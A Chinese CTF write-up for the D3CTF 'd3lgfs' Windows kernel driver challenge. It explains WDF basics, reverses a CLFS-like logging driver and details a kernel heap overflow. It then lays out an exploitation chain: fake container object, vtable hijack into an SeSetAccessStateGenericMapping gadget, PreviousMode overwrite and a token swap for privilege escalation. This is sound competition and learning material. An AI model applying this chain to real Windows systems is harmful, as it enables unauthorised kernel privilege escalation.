D3CTF-d3lgfs

WDF PWN

看起来作者深受 CLFS.sys 迫害

WDF 框架

学!Windows Driver Frameworks

DeviceEntry

依然是入口

  • 添加WDF Device的回调函数
  • 创建WDF Driver

WDF_XXX

WDFDRIVER

WDF_DRIVER_CONFIG

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _WDF_DRIVER_CONFIG {
ULONG Size;
PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd;
PFN_WDF_DRIVER_UNLOAD EvtDriverUnload;
ULONG DriverInitFlags;
ULONG DriverPoolTag;
} WDF_DRIVER_CONFIG, *PWDF_DRIVER_CONFIG;

void WDF_DRIVER_CONFIG_INIT(
[out] PWDF_DRIVER_CONFIG Config,
[in, optional] PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd
);

创建驱动

1
2
3
4
5
6
7
NTSTATUS WdfDriverCreate(
[in] PDRIVER_OBJECT DriverObject,
[in] PCUNICODE_STRING RegistryPath,
[in, optional] PWDF_OBJECT_ATTRIBUTES DriverAttributes,
[in] PWDF_DRIVER_CONFIG DriverConfig,
[out, optional] WDFDRIVER *Driver
);

WDFDEVICE

创建设备

1
WDFDEVICE_INIT *DeviceInita

GUID interface

1
2
3
4
5
NTSTATUS WdfDeviceCreateDeviceInterface(
[in] WDFDEVICE Device,
[in] const GUID *InterfaceClassGUID,
[in, optional] PCUNICODE_STRING ReferenceString
);

KMDF也可以指定symlink,这就与WDM类似了

1
2
3
4
NTSTATUS WdfDeviceCreateSymbolicLink(
[in] WDFDEVICE Device,
[in] PCUNICODE_STRING SymbolicLinkName
);

IO Queue

初始化

1
2
3
4
5
6
7
8
9
10
11
12
void WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(
[out] PWDF_IO_QUEUE_CONFIG Config,
[in] WDF_IO_QUEUE_DISPATCH_TYPE DispatchType
);

typedef enum _WDF_IO_QUEUE_DISPATCH_TYPE {
WdfIoQueueDispatchInvalid = 0,
WdfIoQueueDispatchSequential,
WdfIoQueueDispatchParallel,
WdfIoQueueDispatchManual,
WdfIoQueueDispatchMax
} WDF_IO_QUEUE_DISPATCH_TYPE;

_WDF_IO_QUEUE_CONFIG结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _WDF_IO_QUEUE_CONFIG {
ULONG Size;
WDF_IO_QUEUE_DISPATCH_TYPE DispatchType;
WDF_TRI_STATE PowerManaged;
BOOLEAN AllowZeroLengthRequests;
BOOLEAN DefaultQueue;
PFN_WDF_IO_QUEUE_IO_DEFAULT EvtIoDefault;
PFN_WDF_IO_QUEUE_IO_READ EvtIoRead;
PFN_WDF_IO_QUEUE_IO_WRITE EvtIoWrite;
PFN_WDF_IO_QUEUE_IO_DEVICE_CONTROL EvtIoDeviceControl;
PFN_WDF_IO_QUEUE_IO_INTERNAL_DEVICE_CONTROL EvtIoInternalDeviceControl;
PFN_WDF_IO_QUEUE_IO_STOP EvtIoStop;
PFN_WDF_IO_QUEUE_IO_RESUME EvtIoResume;
PFN_WDF_IO_QUEUE_IO_CANCELED_ON_QUEUE EvtIoCanceledOnQueue;
union {
struct {
ULONG NumberOfPresentedRequests;
} Parallel;
} Settings;
WDFDRIVER Driver;
} WDF_IO_QUEUE_CONFIG, *PWDF_IO_QUEUE_CONFIG;

Ring3 与 Ring0

通信依然使用 DeviceIoControl,但是需要使用 GUID 获得驱动的名字

ring0获得ring3 buffer:inbuffer和outbuffer

1
2
3
4
5
6
7
8
9
10
11
12
13
NTSTATUS WdfRequestRetrieveInputBuffer(
[in] WDFREQUEST Request,
size_t MinimumRequiredLength,
[out] PVOID *Buffer,
[out, optional] size_t *Length
);

NTSTATUS WdfRequestRetrieveOutputBuffer(
[in] WDFREQUEST Request,
[in] size_t MinimumRequiredSize,
[out] PVOID *Buffer,
[out, optional] size_t *Length
);

ring3通过guid与ring0通信

  • 存在symlink与WDM没有区别

WDF逆向:Reverse_Engineering_and_Bug_Hunting_On_KMDF_Drivers

通信,来自代码仓 - hustd10/Windows-Driver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DEFINE_GUID(WDF_GUID, xxxx, xx, xx, x,x,x,x,x,x,x,x);

void GetInterfaceDevicePath(GUID* guid) {
DWORD requiredSize;
int MemberIdx = 0;
HDEVINFO hDeviceInfoset = SetupDiGetClassDevs(guid, NULL, 0, DIGCF_DEVICEINTERFACE | DIGCF_PRESENT);
if (hDeviceInfoset != INVALID_HANDLE_VALUE) {
SP_DEVICE_INTERFACE_DATA DeviceInterfaceData = { 0 };
DeviceInterfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
while (SetupDiEnumDeviceInterfaces(hDeviceInfoset, NULL, guid, MemberIdx, &DeviceInterfaceData)) {
MemberIdx++;
SP_DEVINFO_DATA DeviceInfoData = { 0 };
DeviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
SetupDiGetDeviceInterfaceDetail(hDeviceInfoset, &DeviceInterfaceData, NULL, 0, &requiredSize, NULL);
SP_DEVICE_INTERFACE_DETAIL_DATA* DevIntfDetailData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
requiredSize);
DevIntfDetailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);
if (SetupDiGetDeviceInterfaceDetail(hDeviceInfoset, &DeviceInterfaceData,
DevIntfDetailData, requiredSize, &requiredSize, &DeviceInfoData)) {
printf("DevicePath: %S\n", (TCHAR*)DevIntfDetailData->DevicePath);
}
HeapFree(GetProcessHeap(), 0, DevIntfDetailData);
}
SetupDiDestroyDeviceInfoList(hDeviceInfoset);
}
}

工具

  • WinObjEx
  • deviceTree

加载驱动

刚开始是和WDM一样,OSRLoader加载,但是后面找不到设备。因此快速入门了一下开发,发现可以使用WDK里面的工具安装

需要根据inf文件的内容,使用如下的格式进行安装(直接安装到C:\System32\drivers,开机自启)

1
2
# root\xxx 需要根据inf文件获得
devcon.exe install xxx.inf root\xxx

WDM也可以根据命令行进行加载 sc.exe

1
sc <server> [command] [service name] <option1> <option2>

驱动逆向

有符号表,比较友好

获得对应的目录,将pdb放入,就可以带符号调试

1
!sym noisy

ceateMyLogFile

  • InBuf 指定 filename
  • logfilemem BIGPOOL 转化为struct myLOG_HEADER
  • logfilemem->logname POOL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct myLOG_HEADER   // size 0x228
{
myCLFS_METADATA_RECORD_HEADER hdrBaseRecord;
unsigned __int64 logID;
wchar_t *logName;
unsigned int Containers;
unsigned int cbBusyContainers;
unsigned int rgContainers[128];
unsigned int cbSymbolZone;
unsigned int cbSector;
};

struct myCLFS_METADATA_RECORD_HEADER
{
unsigned int magic;
};

add container

  • 传递参数 addLogContainer_parm,根据name创建一个 myContainer
  • cbSymbolZone 偏移,结构体的下一个起始位置
  • rgContainers 在POOL中的起始位置
  • Containers 记录个数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct  addLogContainer_parm
{
void *logFile;
unsigned int nameLen;
wchar_t containerName[];
};


struct __cppobj myContainer : baseContainer
{
};

struct __cppobj baseContainer
{
baseContainer_vtbl *__vftable /*VFT*/;
char *data;
const wchar_t *fileName;
};

struct /*VFT*/ baseContainer_vtbl
{
void (__fastcall *write_data)(baseContainer *this, char *);
void (__fastcall *removeContainer)(baseContainer *this);
void (__fastcall *releaseContainer)(baseContainer *this);
void (__fastcall *read_data)(baseContainer *this, char *);
int (__fastcall *read_meta_data)(baseContainer *this);
};

// vtable
void __fastcall myContainer::write_data(myContainer *this, char *data)
{
strncpy_0(this->data, data, 0x200ui64);
}
void __fastcall myContainer::read_data(myContainer *this, char *data)
{
strncpy_0(data, this->data, 0x200ui64);
}

// data
this->data = (char *)ExAllocatePool2(64i64, 0x7228i64, 'gl3d');//
// #define POOL_FLAG_NON_PAGED 0x0000000000000040UI64 // Non paged pool NX

记录下一个块的偏移

1
2
3
4
5
if ( logFile->Containers )
{
thisContainer->cbPrevOffset = logFile->rgContainers[logFile->Containers - 1];
*(unsigned int *)((char *)&logFile->rgContainers[47] + logFile->rgContainers[logFile->Containers - 1]) = logFile->rgContainers[logFile->Containers];
}

read/writeLogRecord

  • container函数调用

这个context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct __declspec(align(8)) LogRecord_parm
{
void *logFile;
int ContainerID;
char data[512]; // ExAllocatePool 0x200
};

// size 0xe0
struct my_CLFS_CONTAINER_CONTEXT
{
unsigned __int64 cidContainer;
wchar_t containerName[100];
union
{
myContainer *pContainer; // new myContainer, size 0x18
unsigned __int64 ullAlignment;
};
unsigned int cbPrevOffset;
unsigned int cbNextOffset;
};

remove container

  • 修改了 cbNextOffset,修改偏移 cbSymbolZone
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct __declspec(align(8)) removeLogContainer_parm
{
void *logFile;
int ContainerID;
};

__int64 __fastcall removeLogContainer(myLOG_HEADER *logFile, signed int ContainerID)
{
my_CLFS_CONTAINER_CONTEXT *thisContainer; // [rsp+28h] [rbp-30h]
myContainer *pContainer; // [rsp+30h] [rbp-28h]

if ( ContainerID < 0 || ContainerID > logFile->Containers )
return 0xFFFFFFFFi64;
thisContainer = (my_CLFS_CONTAINER_CONTEXT *)((char *)logFile + logFile->rgContainers[ContainerID]);
pContainer = thisContainer->pContainer;
if ( pContainer )
myContainer::`scalar deleting destructor'(pContainer, 1);
*(unsigned int *)((char *)&logFile->rgContainers[46] + thisContainer->cbNextOffset) = thisContainer->cbPrevOffset;
logFile->cbSymbolZone -= 0xE0;
--logFile->Containers;
return 0i64;
}

closeLogFile:清空所有的container以及logfileMem

其大致内存结构,在一个BIGPOOL中

1
2
3
4
5
6
7
myLOG_HEADER           大小0x228
cbSymbolZone 表示可用内存的起始地址

注册一个container 最多可以注册128个 my_CLFS_CONTAINER_CONTEXT 0xe0
pContainer 0x18 myContainer 结构体
cbPrevOffset 记录前一个 container 起始地址偏移
cbNextOffset 记录后一个起始地址偏移

这个wstrcpy溢出写,containerName 我们传入,长度随意,thisContainer->containerName 只有100的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
wstrcpy(thisContainer->containerName, containerName, len);

// 函数也存在一个溢出 读/写 wchar
void __fastcall wstrcpy(wchar_t *dst, wchar_t *src, int len)
{
int i; // [rsp+0h] [rbp-18h]

for ( i = 0; i < len + 1; ++i )
dst[i] = src[i];
}

struct my_CLFS_CONTAINER_CONTEXT
{
unsigned __int64 cidContainer;
wchar_t containerName[100];
union
{
myContainer *pContainer; // new myContainer, size 0x18
unsigned __int64 ullAlignment;
};
unsigned int cbPrevOffset;
unsigned int cbNextOffset;
};

没有限制的溢出,我们查一下池的基地址,将container地址改成池中的地址,然后覆盖container地址,伪造一个container

1
2
3
4
logfileMem = (myLOG_HEADER *)ExAllocatePoolWithTag(NonPagedPool, 0x7228ui64, 0x4C674673u);

// 另一个大池,TAG不同
this->data = (char *)ExAllocatePool2(64i64, 0x7228i64, 'gl3d');

Exploit

我首先尝试了使用给出的任意读写原语。

  • 多次蓝屏后意识到这根本不是 strcpy,而是 memcpy ,没有\x00截断
  • 因此尝试读写token有点问题,长度0x200的memcpy,写入0x200 token直接蓝屏,并且接收不到内容

NonPagedPool是可执行的,但是因为shellcode里存在 0x0000 无法直接写入全部shellcode,可以尝试ROP

使用了HEVD:mov esp gadget,直接失败了,显示访问非法内存。

CLFS ROP CVE 存在相关,不错的gadget: RtlClearBitSeSetAccessStateGenericMapping

SeSetAccessStateGenericMapping 修改 _ETHREAD._KTHREAD.PreviousMode

1
2
3
4
5
6
0: kd> u SeSetAccessStateGenericMapping
nt!SeSetAccessStateGenericMapping:
fffff800`06e712b0 488b4148 mov rax,qword ptr [rcx+48h]
fffff800`06e712b4 0f1002 movups xmm0,xmmword ptr [rdx]
fffff800`06e712b7 f30f7f4008 movdqu xmmword ptr [rax+8],xmm0
fffff800`06e712bc c3 ret

此处rcx是pContainer,已知

1
thisContainer->pContainer->read_data(thisContainer->pContainer, data);

[rdx]可以是0(用户buffer),rax+8 设置为_ETHREAD._KTHREAD.PreviousMode地址。

SeSetAccessStateGenericMapping偏移我实在windbg直接找,不够自动化,看CVE时发现可以使用找函数的方法来直接获得😋

1
2
3
4
5
6
7
8
9
// https://github.com/fortra/CVE-2022-37969/blob/main/CVE-2022-37969-PoC.cpp
HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1);
if (ntos_userBase)
{
v22a = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping");
}
offset_SeSetAccess = (UINT64)v22a - (UINT64)ntos_userBase;
printf("[+] Offset SeSetAccessStateGenericMapping ----------> %p\n", offset_SeSetAccess);
fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccess;

因此最后修改 PreviousMode 为0,任意地址读写,修改token,提权成功。

代码仓库 - CTF WP

使用 RtlClearBit 也可以构造出同样的效果 - 是将 [rcx+8] 地址加上 edx 偏移置为0,但是这个edx还是得控制一下

1
2
3
4
5
0: kd> u nt!RtlClearBit
nt!RtlClearBit:
fffff802`1615c150 488b4108 mov rax,qword ptr [rcx+8]
fffff802`1615c154 0fb310 btr dword ptr [rax], edx
fffff802`1615c157 c3 ret

注意

WinDbg命令行

1
windbg.exe -k -d net:port=<YourDebugPort>,key=<YourKey>

需要注意 ZwCreateFile 访问文件 C:\\Users:\\Public\\tmp.log 需要是 \\??\\C:\\Users\\Public\\tmp.log 才能正确识别

传入数据时,因为wstrcpy本身存在问题,因此可能访问不能访问的页

比如数据填满,就会访问后面的数据。

1
2
AAAAAAAAAA <- 访问到这里时,溢出页大概率崩溃
PAGE

因此我们传递参数时,buffer后面需要加一个padding \x00\x00 避免访问未知内存而蓝屏(因为这个改了几小时的BUG😭

感觉还不错,赶在结束前做出来了,有点遗憾的是做完这个之后没精力看qemu逃逸那个题目了。